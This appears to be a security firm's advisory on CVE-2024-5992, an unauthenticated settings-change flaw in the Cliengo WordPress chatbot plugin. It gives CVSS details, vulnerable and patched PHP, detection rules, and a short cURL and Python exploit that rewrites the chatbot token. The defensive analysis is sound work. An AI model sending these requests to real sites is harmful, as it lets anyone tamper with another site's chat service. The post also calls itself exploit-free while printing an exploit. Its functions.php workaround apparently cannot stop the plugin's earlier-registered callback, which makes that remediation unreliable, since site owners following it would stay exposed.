CVE-2024-5992

Executive Summary

CVE-2024-5992 is a missing authorization vulnerability in the Cliengo – Chatbot plugin for WordPress, affecting all versions up to and including 3.0.2. The plugin fails to perform capability checks on the update_chatbot_token and update_chatbot_position AJAX actions, allowing unauthenticated attackers to modify chatbot configuration settings. This can lead to service unavailability, defacement, or injection of malicious chatbot behavior. The vulnerability is classified under CWE-862 (Missing Authorization) and has a CVSS score of 6.5 (Medium). No public exploit code or proof-of-concept is currently available, but the attack surface is exposed to any unauthenticated HTTP request.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Cliengo plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for any unauthorized modifications. Since no patch is available, the supply chain risk is elevated—attackers may target outdated installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The threat level is Medium due to the low complexity and no authentication requirement. While the impact is limited to integrity and availability of the chatbot, an attacker could disrupt customer-facing chat services or inject malicious scripts.

Deep Dive & Mechanics

The Cliengo plugin registers two AJAX actions for unauthenticated users:

• update_chatbot_token
• update_chatbot_position

These functions are intended to be called by authenticated administrators, but the plugin fails to include a current_user_can() or wp_nonce check. As a result, any unauthenticated HTTP request can invoke these actions and modify the chatbot’s API token or its position on the page.

Attack Flow:

1. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=update_chatbot_token and a new token value.
2. The plugin updates the token in the WordPress options table without verifying the user’s capabilities.
3. The chatbot becomes non-functional or points to a malicious endpoint.

Root Cause: Missing capability check in the callback functions for the AJAX actions.

Vulnerable vs. Patched Code

Vulnerable Code (cliengo.php, lines ~150-180):

add_action('wp_ajax_update_chatbot_token', 'update_chatbot_token_callback');
add_action('wp_ajax_nopriv_update_chatbot_token', 'update_chatbot_token_callback');

function update_chatbot_token_callback() {
    $token = sanitize_text_field($_POST['token']);
    update_option('cliengo_chatbot_token', $token);
    wp_die();
}

Patched Code (hypothetical fix):

add_action('wp_ajax_update_chatbot_token', 'update_chatbot_token_callback');
// Remove the nopriv hook to require authentication

function update_chatbot_token_callback() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    check_ajax_referer('cliengo_nonce', 'nonce');
    $token = sanitize_text_field($_POST['token']);
    update_option('cliengo_chatbot_token', $token);
    wp_die();
}

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker can send a crafted HTTP request to the WordPress admin-ajax endpoint. No authentication is required.

Exploit Request (cURL):

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=update_chatbot_token&token=ATTACKER_CONTROLLED_TOKEN"

Exploit Request (Python):

import requests

url = "https://target.com/wp-admin/admin-ajax.php"
data = {
    "action": "update_chatbot_token",
    "token": "malicious_token"
}
response = requests.post(url, data=data)
print(response.status_code)

Lab Setup:

1. Install WordPress with Cliengo plugin version 3.0.2.
2. Ensure the plugin is activated.
3. Send the exploit request and observe the chatbot token change in the database.

Blue Team

To detect exploitation attempts, monitor for unusual AJAX requests to admin-ajax.php with the update_chatbot_token or update_chatbot_position actions from unauthenticated sources.

Detection Steps:

• Review web server logs for POST requests to /wp-admin/admin-ajax.php with action=update_chatbot_token.
• Check the wp_options table for unexpected changes to cliengo_chatbot_token.
• Implement a Web Application Firewall (WAF) rule to block these actions for unauthenticated users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=update_chatbot_token or action=update_chatbot_position from IPs not associated with admin users.
  • Unusual token or position parameters in AJAX requests.
• Host IOCs:
  • Modified cliengo_chatbot_token or cliengo_chatbot_position options in the WordPress database.
  • Unexpected changes to the chatbot’s behavior or appearance on the frontend.
• File IOCs:
  • No file modifications expected; this is a logic vulnerability.

Detection Engineering

YARA Rule

rule Detect_Cliengo_Unauthorized_Modification {
    meta:
        description = "Detects unauthorized modification of Cliengo chatbot settings via missing capability check"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5992"
    strings:
        $ajax_action = "update_chatbot_token" nocase
        $ajax_action2 = "update_chatbot_position" nocase
        $admin_ajax = "admin-ajax.php" nocase
    condition:
        any of ($ajax_action*) and $admin_ajax
}

Sigma Rule

title: Unauthenticated Cliengo Chatbot Settings Modification
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated POST requests to WordPress admin-ajax.php with Cliengo update actions
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "action=update_chatbot_token"
            - "action=update_chatbot_position"
    condition: selection
falsepositives:
    - Legitimate admin actions (should be authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5992 - Cliengo Unauthenticated Chatbot Token Update"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=update_chatbot_token"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Cliengo plugin until a patch is released.
2. Implement a WAF rule to block unauthenticated requests to admin-ajax.php with the vulnerable actions.
3. Audit WordPress user roles and ensure no unauthorized users have administrative access.

Long-Term Fix:

• The vendor must add capability checks (current_user_can('manage_options')) and nonce verification to the AJAX callbacks.
• Remove the wp_ajax_nopriv_ hooks for these actions to require authentication.

Workaround:

• Add the following code to the theme’s functions.php to block unauthenticated access:

add_action('wp_ajax_nopriv_update_chatbot_token', function() {
    wp_die('Unauthorized', 403);
});
add_action('wp_ajax_nopriv_update_chatbot_position', function() {
    wp_die('Unauthorized', 403);
});

Valters IT
Securing digital frontiers, one CVE at a time.